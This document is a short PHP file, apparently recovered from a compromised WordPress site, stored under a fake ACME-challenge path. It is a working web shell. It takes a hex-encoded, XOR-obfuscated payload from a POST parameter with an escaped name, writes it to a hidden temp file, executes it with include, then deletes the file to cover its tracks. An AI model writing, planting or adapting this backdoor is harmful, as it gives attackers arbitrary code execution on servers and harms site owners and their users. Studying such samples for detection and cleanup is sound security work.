File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/d/a/h/b/php51x.php
<?php
if(array_key_exists("\x6D\x72k", $_POST) && !is_null($_POST["\x6D\x72k"])){
$comp = hex2bin($_POST["\x6D\x72k"]);
$pgrp ='';$z = 0; do{$pgrp .= chr(ord($comp[$z]) ^ 15);$z++;} while($z < strlen($comp));
$rec = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp"]);
foreach ($rec as $sym) {
if (is_dir($sym) ? is_writable($sym) : false) {
$parameter_group = vsprintf("%s/%s", [$sym, ".dat"]);
if (@file_put_contents($parameter_group, $pgrp) !== false) {
include $parameter_group;
unlink($parameter_group);
die();
}
}
}
}